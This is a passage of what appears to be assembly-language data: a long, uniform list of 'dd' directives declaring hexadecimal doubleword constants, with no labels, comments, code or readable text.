0DA5D4CA0h, 161903C0h, 0F899A322h, 723F6F9h, 30CDFF02h dd 6D211229h, 36000870h, 5F3F8B73h, 70A8EDAAh, 962800F9h dd 12DB40C8h, 0E139ECFh, 8000DDB7h, 0CC698490h, 5FC8F7CEh dd 3C3903C3h, 0AB80ACB3h, 0A4401B82h, 8F03B155h, 302E280Eh dd 0DF228095h, 0EBA40351h, 0E2B61F29h, 928AD83Fh, 0AF078E9Dh dd 3A8088B7h, 1969C9Bh, 838BAC41h, 0D09A9932h, 0D50176A0h dd 0DF598ED0h, 8930E6C8h, 5C7300D3h, 5AE0C6E7h, 47008A57h dd 983575B1h, 2CB059Ah, 5FA9CC2Fh, 0F4685EF2h, 5004C596h dd 0C8E1AF8Ah, 0BB370CC1h, 61C020h, 3FFD644Ah, 0CCF71550h dd 5EDAE39h, 0F1428755h, 0C19BFC00h, 9DA5A9h, 0B1832606h dd 3AD74B0Bh, 0F4EC6400h, 5C72E251h, 0F74F070Ch, 4043F2B8h dd 60741AB4h, 5610C600h, 0AB98C3ADh, 1DD0008Dh, 0F2545CEAh dd 590403FBh, 0A3BB34F0h, 885265C1h, 0E872DCh, 39C5711Ch dd 33C2D39Eh, 37ACF20Fh, 0A4EAAAEBh, 87CBB16h, 8F0640CFh dd 0C340C6DCh, 0E6D65C77h, 607B7Eh, 91242A3Ah, 350BCD8Dh dd 309BD00h, 0E3A93D25h, 70D7F84h, 0C5F8CF63h, 0FED0B061h dd 0BB1F0FDFh, 823BA4AAh, 8AEE2AD4h, 0B248402Dh, 67770010h dd 6DF42EB1h, 21C3B5DDh, 0A8251C0Eh, 0E514BCh, 875315BAh dd 0BFB1A801h, 56261E00h, 8A51E805h, 0A4EE72C3h, 4B7600F0h dd 38645377h, 3AE4A4D2h, 0D5667300h, 469851B6h, 32718BCh dd 9094206Dh, 7C009C90h, 0CB3DD7DFh, 17B039A3h, 0F0AC93AEh dd 84037F41h, 0ECED3C5h, 9B1CF0DFh, 19AF1DB4h, 12003C9Ch dd 1FAA1EE8h, 2300D994h, 0B33BAD35h, 0AFDB78h, 2B6657CFh dd 5362CD50h, 29B2C200h, 77F2960Eh, 0A6870016h, 4A90011Dh dd 6CF48D2Ah, 12827D05h, 0C9C036D4h, 934B6Eh, 46B7E7F5h dd 20640FFBh, 96C19E00h, 18039A3Ch, 0C2991E3Fh, 0F3BC09h dd 0B301AD3h, 67683697h, 0F8CB2500h, 0EEEB4345h, 3D6000D0h dd 0A5F3737Fh, 2270CAD9h, 46F68600h, 9F34BEC7h, 0F76001A6h dd 0D35076Ch, 241AEC0Ah, 37AB0B00h, 6396B5A5h, 56610077h dd 952AB3C1h, 5F2E46C3h, 0D8800C3Fh, 697CBBC9h, 5AD20093h dd 0D76367B1h, 22271F09h, 0BDBC2085h, 60EBB2h, 7497AF47h dd 2F842478h, 78895280h, 1B8F3A3Bh, 0EBB007Ah, 37620C03h dd 22E42EBCh, 0A75B1D09h, 3ED0803Ch, 0E0F23Fh, 90320AD2h dd 0DBE641CBh, 66DF1B00h, 0ADBB101Ch, 34B272h, 0DCB286D2h dd 857DBD0h, 0EEA07C90h, 0D70A4569h, 0D95865F5h, 0E0B0DC0Fh dd 4202128Ah, 45190066h, 5059E3A2h, 0B7000454h, 0C8F39316h dd 1E4AA0Ah, 0E5171511h, 0E2E08ED8h, 8B070240h, 0D46FD4F5h dd 183F6C00h, 7F12A3B6h, 775D004Fh, 462C96C3h, 8300E303h dd 1D26B486h, 19431Ah, 0EF2D5E80h, 8FFE2EFDh, 7EBD41Eh dd 4B29A000h, 2CE9D9FBh, 3447C01h, 91262765h, 0D02F7DF1h dd 0F6EA0E55h, 0A19BE07h, 0F3DF35FDh, 50BD7004h, 0C34334C0h dd 0B32B0067h, 5B536B0Ah, 0CD015F0Fh, 8E293344h, 16CCAB9Dh dd 0C5560512h, 90708ADDh, 0CDD16708h, 0BBA92105h, 0A0000B72h dd 854A2CAEh, 8A6300B0h, 9D5D17DBh, 0F9005ECFh, 865755E9h dd 58EF7675h, 4801000Fh, 2FF613C9h, 0C41C2596h, 29006EF1h dd 0FCC30E57h, 7B5927A9h, 90EC00D5h, 9CF49945h, 3D481855h dd 0DC14519Fh, 2C044094h, 342D3606h, 33D9C0C0h, 840900A2h dd 479A388h, 0E3EA1375h, 4AE0A409h, 5E6CC012h, 37078C1h dd 36649C67h, 885A964Eh, 0E1DE003Ah, 0D41F9E16h, 908D4707h dd 809BD1A0h, 214C0E7Ah, 9F53DEh, 3BDAB2CCh, 11003A0Ah dd 0A1570FBEh, 0C7EFE3h, 804F8E53h, 794E3286h, 62B0CB00h dd 6A4584EAh, 0AC6348BCh, 8B1B6E00h, 0A48815E1h, 8F544C00h dd 0C8E55A0Dh, 2A2600F5h, 0FE3073DFh, 0C7009C2Dh, 0B385DDF8h dd 0FA351AFDh, 997C00E7h, 63F1E52h, 560004FBh, 6305E5F3h dd 0F264BAh, 2B355AB7h, 53E9A793h, 3E28E200h, 0AF6DEDB4h dd 0D4EB0026h, 0DF4EC439h, 2500FEF9h, 3675C690h, 748897h dd 6F84ABA1h, 0D468B39Eh, 571ACA02h, 0A0F2C2E6h, 4942C9C4h dd 626500C5h, 4C0DCC50h, 6F71C732h, 0EA95100h, 90060884h dd 0E5C2059Ch, 0CAE47Fh, 0EADCDAD8h, 0B100F7E6h, 0DDE08C59h dd 51B3AEDBh, 0B5F8C4A7h, 383CB962h, 5708C544h, 26E6F14Ch dd 91D00E4Bh, 74B35E40h, 9F033E6Eh, 0B85D9290h, 0E0368A87h dd 0A47F4Ch, 72D4D96Ah, 0E2C4EB65h, 0D7D87505h, 0C6806877h dd 17535E7Ch, 0B55B7Eh, 0B9B6AC3Ch, 72165DD0h, 0C847F6E1h dd 8001EE4Bh, 0E82953FEh, 0AE270500h, 295715FBh, 0A8786B00h dd 796A6290h, 216E00B5h, 0FD1F7E45h, 57019C1Eh, 0BCE6492Dh dd 0E8403E6Fh, 49960504h, 3D00B003h, 1DD88EDBh, 0A31730BAh dd 0D800F7C2h, 78BCF9D3h, 0C60630F8h, 0A75338EAh, 0C7BB3900h dd 284AAA17h, 6BFC079Ch, 548071A8h, 42D8C07Ch, 1400B662h dd 58D58C52h, 1FC367h, 26667725h, 8602FA19h, 6109EC00h dd 0FC963D3h, 6D10053h, 0D243CFCh, 0F612EE6Fh, 185D254Bh dd 8DAAA240h, 1F9A9D6Eh, 83B87B8Bh, 6CF0B957h, 0A93BCEE8h dd 9CBDA304h, 19C3D26Dh, 4CF9C905h, 0E88098D5h, 61AD2EEDh dd 3D0046C1h, 0A738D171h, 0FA43CB63h, 30D2306Eh, 0F648CC20h dd 9003C100h, 7E2DB466h, 0AC600F0h, 2F9C4D93h, 20090174h dd 2AD1FB2h, 4181561Ch, 0BC7C0865h, 22D22A13h, 0D4A06984h dd 74AB27E5h, 0CB721B00h, 0A8F8D7C7h, 973005CDh, 1C68D1BEh dd 2CBBC7CAh, 59FA90EAh, 8A0122B3h, 1BA7D204h, 3CE041CEh dd 57F80067h, 0A8AD9F4Dh, 0AF3EABA3h, 748DCC1Ah, 6A4C1000h dd 9858F9E4h, 0BD3700BBh, 1F20BC25h, 3500EC03h, 1E19EA9Bh dd 4B34A7h, 2B7137D6h, 0AF21CBE4h, 0B8DB7E0Ch, 7A07C832h dd 91E030Ch, 0F143AFAh, 0B1870A7h, 110035FBh, 1A3CF202h dd 3CEBE012h, 0F01E31DAh, 8F5201B8h, 0E8F4FE03h, 68001720h dd 0CD2942Eh, 4861184h, 2407B343h, 2FE4B057h, 2000B05Bh dd 2EC003CEh, 227009Dh, 0AA9C35C7h, 36EC171Ah, 0F72AA200h dd 6E7B48Bh, 0BD78ECh, 0EFAA94E9h, 737C0D3h, 0A6D0C300h dd 35BAD1F9h, 0CBC20C06h, 0AC20F1A5h, 0FC86E500h, 0F0AD2D70h dd 8B2300E6h, 96327A0Fh, 2100ECF8h, 1A9D7EAAh, 56DCC2h dd 731BC64Eh, 6A72CB70h, 7F9EC300h, 0A5E73C76h, 43D1000Dh dd 1A712532h, 0EA169260h, 0C020840Fh, 74C98A2Eh, 6F7F50h dd 593D24D3h, 0AEF15341h, 5E570D2Dh, 274B0034h, 0FC1C7C61h dd 1507EA00h, 79C86986h, 8D5F00BEh, 7CADA4DDh, 0D50F830Bh dd 0E01C640Eh, 2C77B411h, 71490050h, 0D2991369h, 0E700D8A2h dd 557EEA8Dh, 168C90CCh dd 0C991B974h, 0A0E0DADCh, 0D3074A46h, 30C6B80h, 0F0D2DD52h dd 0BD3200C0h, 948F9F0Dh, 0FF1F76B8h, 4413B66Bh, 2FD6A00h dd 90E3057h, 0DD99BD8Eh, 3C601E00h, 740EAF1Eh, 466223h dd 3120EC94h, 985303B0h, 2B69F4C3h, 0F1E0BCD8h, 1C5B0C2Eh dd 0E600DD90h, 0A766D6E2h, 0F813CC75h, 4400FC55h, 2C23D4A6h dd 6815606Bh, 0F7A82D2Fh, 29005B7Fh, 4EF99671h, 580AE513h dd 411E88C6h, 9400B963h, 5AF40CC9h, 0AC19F1DFh, 7D702DA8h dd 43F874h, 98A0E123h, 517E27Fh, 62FE4E1h, 0BA38600h, 0DD40F08Eh dd 0EEEEB8h, 0CDEB3A80h, 51107F6Bh, 6AE00800h, 0E1EF4EECh dd 0E9A7959h, 0F9860738h, 60102207h, 0FA9833F8h, 81FDE800h dd 0DC31D30Fh, 0ADF7004Ch, 76B7CC79h, 5FEEC3D0h, 6A5D6E01h dd 61A158ACh, 36CF0D2h, 0C1E80D54h, 94885E30h, 0A01CAA65h dd 0FFDF45C0h, 697DE402h, 1BD06040h, 0A73B01CFh, 849D2FD5h dd 0BDA0404Ah, 412D2B4Ch, 47440095h, 1F3BB7E4h, 0C0C36E58h dd 0AD333FFAh, 89009856h, 34446BE1h, 3FE4A9A0h, 2E80038Ch dd 6062BE3Eh, 3790075Ch, 5090790h, 0C05D8C97h, 388C224h dd 8ADCD565h, 72C0BF6Fh, 0BE1FC363h, 0DBDF6489h, 0CB00BE26h dd 0A87E3DF8h, 3C9486h, 0AB8C79AEh, 0DF77948Bh, 5F0B62FAh dd 0AA4FD2h, 0FDA2808Ch, 0B05959D0h, 40993A1Ch, 5A734A95h dd 9400C391h, 0F21479F3h, 0F8A91DD4h, 0B088EAD5h, 1B282803h dd 5CAB07E8h, 4797CF4Bh, 0F82E10B2h, 2C7A8EDCh, 39C09300h dd 7244FE07h, 81621C13h, 0D0E499h, 0B3A1AB69h, 9145327h dd 1DE8F24Bh, 0F013CA22h, 0C2F7BC0Bh, 8FBE8044h, 0C365E2h dd 8005635Fh, 9606C6FAh, 1F2A5300h, 0E6D07F84h, 406000D9h dd 0F4ECDB0Ch, 60B04DB7h, 0B913700h, 1CA5A102h, 3DAA009Fh dd 0C3D80D7Fh, 0BA707DD5h, 0F84C0400h, 0ACB23A85h, 0CBA70099h dd 1236C2E4h, 74258456h, 98A46BF0h, 0B3853h, 92B47BDEh dd 0EDB96252h, 0FCD659h, 0A8546665h, 0E6F48E09h, 0FB000A9h dd 58B33ACh, 0DFCAA07h, 0C034EA00h, 89B49DEh, 952D00DFh dd 822E7906h, 3503E60Bh, 0A789FC97h, 0C0AB923Ah, 0F629DE88h dd 0A9240F2Eh, 2140C265h, 22D1766Fh, 3EED7200h, 108EFF70h dd 0A81C5E75h, 37560F08h, 0CEFEE098h, 12C3749Fh, 0E024AF89h dd 38C3FA6Ch, 7D8400Bh, 0B7D69610h, 0B8AAD09Bh, 0C82C9C98h dd 80B81820h, 0FC2C5463h, 1C9E99Dh, 68F3E7F4h, 0E94B11FFh dd 1F682278h, 0F9BF585Ch, 1DD0C100h, 0C39966F5h, 90F0B23h dd 4900E0E5h, 4D483B21h, 0E95B8A00h, 17A18EC6h, 617200C0h dd 2273BDD8h, 151CA632h, 0BE809EFBh, 550FCFF1h, 9D090036h dd 897F8A4Ch, 0C5057262h, 4AD3414Eh, 0B2B99200h, 0B3490h dd 8B319406h, 2289B481h, 3E078E70h, 0AAD79B29h, 0DFC3F127h dd 3AFDD00Eh, 517736h, 43423E9h, 6E719448h, 640493F8h dd 31D0E07Bh, 2200D8BCh, 23DFCA13h, 59C03589h, 8B289ACDh dd 9524003Bh, 3BDC419h, 8D1E942Ah, 1DC0B972h, 6F7A4A65h dd 0FBE26D9h, 76460F74h, 0CBA502E0h, 27617313h, 0C3AC3460h dd 15E0B075h, 4D461859h, 0A741080Bh, 782C223Eh, 641647ECh dd 640F31B0h, 80EF6078h, 78A24679h, 67B3127Dh, 414C47E5h dd 382A76B8h, 6A466903h, 1F266898h, 3BEE71h, 8C30A48Bh dd 851437C9h, 1488913h, 0D78958Eh, 4C4025ADh, 5246619Dh dd 84011432h, 8E3C4B70h, 0C4D4308Bh, 0B7738h, 5965CAD4h dd 7FD7E424h, 8685032Dh, 0DC0E21A1h, 29F33B88h, 0FB347000h dd 5E569646h, 19080ED1h, 0ED20EA30h, 18650338h, 6D211600h dd 0A8879E05h, 86170041h, 30D009B6h, 9C61F91Bh, 9B842078h dd 0DA55CCh, 0E3E2B262h, 6857AD91h, 0A862B03h, 80773D1Dh dd 28780583h, 0E7E744h, 49DB9B24h, 0D28A6639h, 0D5581200h dd 72E53570h, 0A34D00CDh, 0DB252E0Dh, 3E057B77h, 4517FC30h dd 0E07E8EC2h, 0C153DFh, 0EA826720h, 3E6E86DEh, 10E531F9h dd 5A24EE9Ch, 0CDF8F4Eh, 2833AB0Ch, 4B4CDE10h, 4E23A08h dd 35EB049Fh, 9E4A18D0h, 2DEA200Fh, 80A1E73Ch, 0E949B4C8h dd 27D2E4h, 2E6E0B8Fh, 25E8EC92h, 9182AE05h, 0C4C0DE06h dd 757D35Ah, 51388B72h, 18407942h, 1F008DACh, 21B90D22h dd 954D84A0h, 48158020h, 0C9005958h, 6BA117D6h, 2D8935Ch dd 9A2C09BFh, 0E0D8708Fh, 794B6000h, 4E7ED06Eh, 51193AAFh dd 168B8F00h, 34F012B4h, 0A79D8300h, 81DDC904h, 0A0390055h dd 2F3B28B7h, 4900E87Dh, 82664CEh, 0F23CD09Dh, 24821E18h dd 94978720h, 129080BFh, 32F4A504h, 91CC6600h, 0CF755BC6h dd 55F227CEh, 0BB6B6404h, 0D6E08B02h, 0C3FA8054h, 0BC5166h dd 410423CCh, 0DACAC048h, 620F6501h, 9ECF4937h, 2E777DCh dd 30035AFFh, 2CC2952Bh, 0E30054F0h, 84BCC846h, 0B84C5AF1h dd 5CE20040h, 0BBCED5C9h, 3F75E65Eh, 0F1AAD405h, 0F0401605h dd 50302E32h, 792800A1h, 4214A98Ah, 0B4254862h, 0EF44E027h dd 0E2E050h, 0A90361Fh, 0FAD8B1B7h, 4F3F5201h, 655A5770h dd 7B00EF8h, 82D191F1h, 0A3017940h, 0E553D25Bh, 2B2474B3h dd 0FCEA2F79h, 40C4E458h, 963825A0h, 19A280A5h, 1CB1BF21h dd 0B5C2009Bh, 0A6429415h, 502F858Ch, 0B8D40079h, 0EDE36D4h dd 9337E740h, 0A5B67A00h, 0B1007098h, 0ACE697A0h, 23E52EFh dd 9D9CC66Dh, 0D05CA189h, 94233604h, 0D06694C0h, 0B654002Eh dd 0C543FC1Fh, 0CB1C87B7h, 6500304Eh, 6228BD45h, 0E2BCB8E8h dd 0EEEB0261h, 8392D2C3h, 0B0AA482h, 88909B25h, 0BD5AF8h dd 0C547E02Ah, 711E7FAFh, 0C83A881Eh, 9C447DC0h, 2A3EB09h dd 640B7C97h, 9A60CEE9h, 14005565h, 0AB1C6EA4h, 0ACD939h dd 2AECF8A7h, 4A5B26B2h, 78C5DB31h, 3312E6F2h, 92BBE18h dd 0CE9943E1h, 492CBC60h, 0E90C5Ch, 0ECCFDC77h, 0F70151h dd 1DCB0A2Eh, 0A80F32B8h, 1C7F283Bh, 0CA007024h, 17E02244h dd 5EE8FDB9h, 0A23A09D2h, 38007BE3h, 0E2229564h, 0F40E6305h dd 90D09BCAh, 6F8CE9h, 9594C802h, 0E30CDCA7h, 0C4710300h dd 0E40D4044h, 0AAC200D3h, 65645ACCh, 450A4B76h, 0EC903910h dd 5F93780Fh, 853516C9h, 0AA82F1D3h, 0D80463CDh, 1E0D456Dh dd 0C12EBDAFh, 66A5F6EEh, 9C9870DCh, 5B77D800h, 0B9FCCE43h dd 8CDF48ADh, 388E0B00h, 0C0EB88A8h, 982DFE00h, 0E2344857h dd 2649005Dh, 0ECAC5275h, 0A9004FD3h, 0B68021CBh, 0EB32B8Fh dd 0E6178815h, 0E3A1AB80h, 540082D4h, 2D035C63h, 3AD0A03Eh dd 2C2CCF8Fh, 0DC9083B8h, 3103B2ADh, 0CF54E0E9h, 75800AAh dd 0B7064735h, 4460D264h, 0DFE61178h, 0BF901F6Eh, 44679333h dd 0A8CAE0BCh, 77113F50h, 1335BE3Bh, 0D4E1857Ah, 286DFCh dd 91A4E3EEh, 0ED680788h, 3C6BA3Ah, 7224D8C7h, 0E28EA07Bh dd 0B4F203EAh, 0DF933240h, 800876C8h, 0D785BF00h, 90335BB3h dd 6345000Ch, 825355ECh, 0D4E58EABh, 6600B984h, 0EF3CC657h dd 13DF810Dh, 0C041A5F1h, 0CFD17A84h, 0FE007C9Eh, 6C4A0ACCh dd 88322CF5h, 7F2D0011h, 144004A4h, 5C76CA07h, 0DD2001D9h dd 712BBCFh, 8047F848h, 1B956094h, 0F300B126h, 0B7C48A6Ch dd 61C040Fh, 343F1E58h, 320010B8h, 0ED6CD9A4h, 749FABh dd 61FA9B43h, 319D4671h, 0DF5B9E02h, 49ACA2CFh, 3C7CFB90h dd 4BBBAA82h, 8400BCD0h, 8B9F8005h, 1E570E0Ah, 0C1A7A563h dd 89AFBDABh dd 0A20C6014h, 0A09BB02h, 406D7B4Bh, 17EF2D4h, 1F8B3857h dd 3FA56C7Fh, 12A77D00h, 72E6AA0h, 46C078AFh, 9287408Eh dd 0CCBE9BFAh, 5BFC2700h, 4B52F5h, 59DCB353h, 2196A580h dd 0D0463C35h, 524D9471h, 0F1A0BB40h, 69373FD5h, 1D116F81h dd 2C5F85BCh, 9B2D28h, 8B585210h, 15C63C92h, 0D9593302h dd 562450h, 7680E6h, 59BF4610h, 0DF244D91h, 0D44D9FEAh dd 432A031Ch, 0D071320Ah, 8F8667h, 58F702D3h, 0C2DF0C52h dd 0A6F93600h, 84DABAFh, 78ACB0F3h, 0E38A0E90h, 0DF2047FBh dd 9137E83Fh, 487CFA00h, 0CAF88680h, 3D3A0BC3h, 0D0808104h dd 13830387h, 6D7C2Fh, 0B7E19824h, 20D805F3h, 8084D75Ch dd 7283D2A0h, 7C544116h, 0E00D2448h, 1C70B966h, 94D0C64Eh dd 83BC0h, 8C2542C4h, 0F98EB15Bh, 3D61EB01h, 0ADD0FB69h dd 7E838AECh, 0FE18005Fh, 87854170h, 6209F552h, 4866B4B5h dd 94AD6A5Ch, 4FC580BCh, 1FCC4085h, 71322CE8h, 0FCB18E4h dd 11396A06h, 47865700h, 79919C70h, 0D8A40E46h, 6AAE6109h dd 0B15148ACh, 4E57F25h, 4F406488h, 853FB445h, 0F5B10800h dd 24070D8Ah, 4C56016Ah, 54466DB7h, 0A51600A1h, 871325C7h dd 30ACDC13h, 3A4D47F9h, 0A7EF109h, 24AC920Bh, 72130A10h dd 8DA6021Ch, 0B8C01078h, 8E1C3C51h, 9287808Fh, 0DE608CA7h dd 0F03611h, 8791E732h, 0F158C98Eh, 2E3F4100h, 2046FDAAh dd 0E3D7006Eh, 3D45476Ch, 56000FADh, 607C7E9Fh, 0C64881h dd 4FEC5372h, 95AB4633h, 5830BE00h, 0E543DD44h, 0AECF0E62h dd 97E0BF24h, 40D928B0h, 3AB39D3Eh, 3DA8CC89h, 0A7C8082h dd 61F54755h, 36AD00A1h, 91578D9Dh, 0A3007DBDh, 0CA6E4D5Ch dd 43D7E6h, 7181F129h, 476A65DFh, 4C69282Eh, 1FD3E800h dd 0DC4575Eh, 2DACA3EEh, 688221BEh, 10850540h, 0B0B95DF5h dd 4E9A44EDh, 0FC8043F8h, 0DE2D4D5Ah, 354B5800h, 2E4F54FAh dd 4E553EF9h, 4056F81Ch, 7D96A7ABh, 3C00B46Dh, 9FACE595h dd 0B5707Ah, 0CBEB8BA4h, 99984E28h, 0CF861104h, 0E0FDB3A7h dd 94283780h, 0BE2C91C0h, 0F501B4E1h, 0DA75E526h, 11F074h dd 0A4BB0A33h, 204F7F10h, 6B07AB2Ch, 41B43809h, 0B9E061C4h dd 57460098h, 3E1CD8F1h, 7690049Fh, 56EC6500h, 0BDDB5E2Dh dd 52720FDFh, 0AE41CAA6h, 8351E2EFh, 3F3DC2A4h, 6385E89Eh dd 0C0BCACh, 0EBF610BBh, 7C00980Dh, 0B25F41A7h, 79B591A3h dd 7AA800ADh, 8D56C7D5h, 6E05574Ah, 4254E148h, 1B805887h dd 5AE5C3h, 10B07231h, 6754797h, 0B50077E6h, 840FC127h dd 17B71A8Dh, 439A6E6h, 49A7FEA0h, 0A0804097h, 1EED002Fh dd 0CE3E4AE5h, 0BF001D28h, 101FC079h, 31EAFCFBh, 0A826604Fh dd 0FEC220D8h, 8FBF4400h, 1703AEFh, 0AE1A006Eh, 57D7A579h dd 0CD3AEE06h, 5F31FA0Dh, 2CD678DDh, 2F2EBF10h, 0C0FCFBEAh dd 5EF92300h, 0E7091EB9h, 712102D8h, 49D6B8FDh, 0FA00B8D4h dd 0DD3A4F56h, 16FE04E8h, 81F91A28h, 5024C3C4h, 71F8EBE4h dd 4BCAD8A8h, 87AAC73Fh, 0C8D42875h, 0D1DC7460h, 6CE7000Eh dd 0E05B8E3Eh, 9D0022C3h, 4EC96A18h, 3F4F81EFh, 2E185E5Dh dd 0AA695932h, 3485A207h, 0FCE0D423h, 4202B7h, 9C4678C0h dd 0BCB1397Ah, 36E71102h, 6028B553h, 35C84Ah, 0CE5F7DA5h dd 6CE4B63Bh, 0D9F54402h, 5504574Fh, 9DF8A6C3h, 0E9001356h dd 0E7382545h, 1EB57695h, 6ED39Ah, 33F10CBCh, 71CFC13h dd 0A01D6E8h, 78C79529h, 5265C4h, 0B87EEF9Eh, 0CA6B7A36h dd 0D4A33200h, 0AB5059CBh, 0A87127F1h, 242EECE8h, 2DBA5405h dd 0DCE42FBFh, 48EF38DEh, 3C6A79Eh, 89FC721Eh, 0F884A98h dd 0ACBF7000h, 0AABBF2E5h, 0A0E10081h, 0FB4943A9h, 4E2D749Ah dd 78B0429Fh, 4DDD1260h, 1E1CC0C5h, 97709A2Ch, 71E69360h dd 0B43CFBh, 7827F321h, 0D3B2A084h, 19FFE74h, 28CD4F5Ch dd 0DE21D42Ch, 66A92480h, 0E03148C4h, 7F8009Dh, 89FA1F2Dh dd 210030A3h, 6A45FFA9h, 358CC3h, 0A4AF975Ah, 4B2AEBD1h dd 600F5707h, 6AD05C69h, 0E604B42Bh, 4CC1009Bh, 0C6C55066h dd 9FF796h, 0ABC478C4h, 2CD200F2h, 0C846AD6Ch, 0C30983ECh dd 68FBD153h, 12DFC7E8h, 4E96F29h, 801757FEh, 16B69040h dd 8AC28B09h, 524040D2h, 0A1680055h, 3382CBBEh, 0FE004116h dd 949C2324h, 92F82Eh, 0A4D2F968h, 4222779Dh, 0EFE9E812h dd 0BCCC0E0h, 0ADACB686h, 0B3580000h, 0A008C24h, 4443E002h dd 3877D7A4h, 91006F3Dh, 0A2B383FDh, 0B004BE3h, 0CFEDEBDCh dd 0CA8D50h, 0E0F5DAB2h, 96963F2h, 7DBC4B00h, 7E4EC2D8h dd 4FC000EEh, 154DCE77h, 0E30034B2h, 0F80F9E2Eh, 8F08706h dd 93855F1Ah, 50B25416h, 1FCFF610h, 7CC0A184h, 41C783BBh dd 0ED741D3Ch, 536280C6h, 0BEE47079h, 210087B8h, 32024F7h dd 4C9222B3h, 1E00926Eh, 930482C7h, 0BF00EEDEh, 0EF8CD6C8h dd 0A95C2F1Ah, 0A2BA4BCh, 80D8771Ch, 21F6DEC8h, 463DF7CEh dd 5E8D004Ch, 1D347D04h, 24E30013h, 1B5809BEh, 1C004717h dd 55BBD09Ch, 7D860A49h, 0A9430016h, 0E9E212C4h, 0CE00E421h dd 5F8723BBh, 6A1BACh, 520E0294h, 0F1B90BBAh, 84263B78h dd 0AE047FEEh, 0C8A0C42Ah, 0FED20044h, 3C855650h, 7F1C13A1h dd 2B00BE25h, 61AB7012h, 364702C1h, 0AFC4D880h, 3E1E94C9h dd 0F811CC40h, 35BEF2h, 2A088751h, 32EFFF18h, 2AA1236Fh dd 0EB05A0F4h, 0F1803A04h, 3CFCBC46h, 0B1004AEFh, 7048983Bh dd 0D30057C4h, 36C0C8CEh, 588392B5h, 384C4471h, 21AC7B03h dd 0DDA85445h, 54EECC9h, 2D873C00h, 0E92449h, 0E1C83520h dd 0FF7D5E5Fh, 0D6D4DC00h, 62689FC4h, 624B6EFAh, 0E4A930D8h dd 7EF53200h, 46E3C44Ah, 7D083B86h, 745B1400h, 0F707DA93h dd 1B663Fh, 2A1C221Dh, 1F047E01h, 9932DEh, 2E9F7483h, 0C75B640h dd 3CF32B12h, 4240C21Dh, 0A7E69745h, 7579009Ah, 38878547h dd 1E07D87Fh, 866010CAh, 0E8685D83h, 42FFA6h, 0BA584B11h dd 4CD065E4h, 188C8A03h, 8F97A5B0h, 509C00EBh, 1F3DF215h dd 0F35C211h, 0E433B7D6h, 0E490AB04h, 0E869B201h, 162B73D1h dd 1BA9C540h, 5E1700EAh, 7D4EBA96h, 0AD1CFC28h, 4A809CF1h dd 0FDC10507h, 7CFF4814h, 0CB387800h, 9D88E3ADh, 72B84F58h dd 7729E600h, 0AE6F9580h, 686C0312h, 0DEF29A37h, 0E25522C0h dd 0FD1E2B00h, 0D62134EDh, 985202D5h, 6A2784A8h, 0E3186460h dd 0B33A8C92h, 60DDAFD2h, 4B65236Ch, 880C7ABAh, 1AD7083Fh dd 421F2F9Fh, 0D26A8904h, 8117FCA2h, 61AC88E5h, 74200881h dd 51093EE7h, 48D86402h, 0D852DDACh, 4EC01494h, 0A83A662Ch dd 3F080D34h, 4BF1E824h, 0C93433EFh, 0A5452026h, 0CD5283Eh dd 6068B354h, 0EE0068E2h, 93F026C2h, 0A7A4E8h, 46F5B54Ch dd 3BD23378h, 8C05CFF2h, 515BD407h, 9D39A8E3h, 7238B800h dd 8001E178h, 2FD0D100h, 0E7970EFEh, 0AC962F8Ch, 6967F820h dd 100432Bh, 0A3271E44h, 0CCC3EECh, 41792EA0h, 0C300FF58h dd 8596741Dh, 0C37CCEA8h, 352AC118h, 17943C06h, 0C1E484h dd 0F0723F89h, 26693062h, 94586A28h, 0A6218EF5h, 5688C047h dd 19C0E32h, 7CD80BD7h, 0D84681EAh, 2F0A0934h, 0B88DC2F2h dd 0E0549080h, 0B84EC007h, 0A80D1DB1h, 87998FEEh, 0C7D54A23h dd 74407DE7h, 68B801F8h, 112AAD30h, 0AD1484Bh, 786DA50Dh dd 8E63AE8h dd 0E6012131h, 82C8D130h, 65700C56h, 0C00B0C97h, 8E588B68h dd 51631600h, 0BF8DE739h, 0EA28825h, 3A4CBB12h, 0E0701803h dd 0F6310879h, 6D9C500Ah, 2D0A9468h, 0A08F02B8h, 0A9D3FC02h dd 0B7FCE097h, 0DA9A0042h, 0F3AA5A54h, 9803AB2Fh, 1C1983D8h dd 0DB7A07Eh, 0B0AD007Ch, 0E223201Fh, 631CF7FDh, 80390895h dd 0C4738D69h, 0D3BDFAh, 372DB7A3h, 0AB03123Eh, 9EA2A00h dd 72D4E278h, 0AF9200DEh, 0DA5A9483h, 839821ADh, 0FAE3BA03h dd 887D0628h, 36C42Fh, 0DDCB77C7h, 63889320h, 7BA9E500h dd 0BB26E0FCh, 293D00D0h, 0EFF9EB8Eh, 6F0071E8h, 526D8147h dd 7BD3D6h, 1CDBC551h, 0DE2E164h, 1EE72E58h, 1540A6DFh dd 58271A21h, 0E0AB5CFFh, 0A17EC501h, 0E772538Dh, 1BE81CE8h dd 0D105DC00h, 1A425458h, 0CC910E57h, 9EC02A98h, 808BB4A3h dd 95F70118h, 3D526118h, 8D877FB9h, 4CA4770Fh, 5300C110h dd 0F929607Ch, 3A22839Ch, 0B0309D49h, 7C5B5F21h, 670624FAh dd 992590C3h, 0E6A11818h, 793099C8h, 43EE707h, 0AFB728D9h dd 144B2580h, 0C44C3E68h, 98D05286h, 58CE38BFh, 615E83F5h dd 9F110083h, 1612C87Ah, 0BD19A966h, 0A6085DFEh, 723E2183h dd 80B7C9C8h, 1AB6CCA2h, 7E2E8C0Dh, 509158C2h, 0C87B805Fh dd 8C6E1613h, 3A3DAA44h, 55BCC873h, 5F48E280h, 8A2841F6h dd 0FA122C0Ah, 7802A0A2h, 8922B11h, 800B119Ch, 296C7C57h dd 229D4359h, 5F6300B5h, 0CEA5087Ch, 1500F046h, 2AD57B87h dd 0C08DB20Ah, 187EE360h, 9A60221Ah, 0CBF4410h, 0AE4E0379h dd 0B3BC6AA5h, 0EAE2A9B8h, 56D31F07h, 0C02F5EFDh, 77B0589Ch dd 0E11F85Fh, 0DA109B9Dh, 8EAEC281h, 0B64EC051h, 590D4800h dd 11FBCDEFh, 0C7540F7Ch, 2F61DF2Ch, 20C1104Ch, 0E41CB446h dd 7207C558h, 5C1246D9h, 0E07241BEh, 7CD45FF0h, 0C10D076Ah dd 4026A4ACh, 1E4BDB97h, 0B5291A09h, 0C9790F2Dh, 217D2C05h dd 1A161CE8h, 5AE94053h, 0FCF40F03h, 0C81D3E03h, 2BD117h dd 1B91ED28h, 4672DAB8h, 78D43430h, 1C2C2173h, 86DC01C1h dd 30DB5AA9h, 67117700h, 47BFE01Fh, 10181DC5h, 216B1848h dd 67032A9Dh, 0C750E2A5h, 58B862E8h, 